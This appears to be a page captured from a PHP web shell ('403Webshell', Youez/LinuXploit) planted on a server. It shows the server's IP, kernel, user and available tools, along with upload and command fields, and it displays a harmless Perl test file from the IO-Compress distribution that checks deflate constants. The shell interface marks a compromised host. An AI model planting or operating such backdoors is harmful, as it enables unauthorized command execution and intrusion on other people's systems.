403Webshell
Server IP : 164.138.27.172  /  Your IP : 216.73.216.143
Web Server : nginx/1.27.4
System : Linux cookingdream 6.8.0-124-generic #124-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 13:00:45 UTC 2026 x86_64
User : www-adm ( 1001)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /home/jonasn/.cpan/build/IO-Compress-2.201-0/t/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/jonasn/.cpan/build/IO-Compress-2.201-0/t/111const-deflate.t
BEGIN {
    if ($ENV{PERL_CORE}) {
	chdir 't' if -d 't';
	@INC = ("../lib", "lib/compress");
    }
}

use lib qw(t t/compress);
use strict;
use warnings;
use bytes;

use Test::More ;
use CompTestUtils;


BEGIN {
    # use Test::NoWarnings, if available
    my $extra = 0 ;
    $extra = 1
        if eval { require Test::NoWarnings ;  import Test::NoWarnings; 1 };

    plan tests => 390 + $extra ;
}


{
    use Compress::Raw::Zlib ;

    my %all;
    for my $symbol (@Compress::Raw::Zlib::DEFLATE_CONSTANTS)
    {
        next if $symbol eq 'Z_NULL';

        eval "defined Compress::Raw::Zlib::$symbol" ;
        $all{$symbol} = ! $@ ;
    }

    my $pkg = 1;

    for my $module ( qw( Adapter::Deflate RawDeflate Deflate Gzip Zip ))
    {
        ++ $pkg ;
        eval <<EOM;
            package P$pkg;
            use Test::More ;
            use CompTestUtils;

            use IO::Compress::$module () ;

            ::title "IO::Compress::$module - no import" ;
EOM
        is $@, "", "create package P$pkg";
        for my $symbol (@Compress::Raw::Zlib::DEFLATE_CONSTANTS)
        {
            if ( $all{$symbol})
            {
                eval "package P$pkg; defined IO::Compress::${module}::$symbol ;";
                is $@, "", "  has $symbol";
            }
            else
            {
                ok 1, "  $symbol not available";
            }
        }
    }

    for my $module ( qw( Adapter::Deflate RawDeflate Deflate Gzip Zip ))
    {
        for my $label (keys %Compress::Raw::Zlib::DEFLATE_CONSTANTS)
        {
            ++ $pkg ;

            eval <<EOM;
                package P$pkg;
                use Test::More ;
                use CompTestUtils;

                use IO::Compress::$module qw(:$label) ;

                ::title "IO::Compress::$module - import :$label" ;

EOM
            is $@, "", "create package P$pkg";

            for my $symbol (@{ $Compress::Raw::Zlib::DEFLATE_CONSTANTS{$label} } )
            {
                if ( $all{$symbol})
                {
                    eval "package P$pkg; defined $symbol ;";
                    is $@, "", "  has $symbol";
                }
                else
                {
                    ok 1, "  $symbol not available";
                }
            }
        }
    }

}

Youez - 2016 - github.com/yon3zu
LinuXploit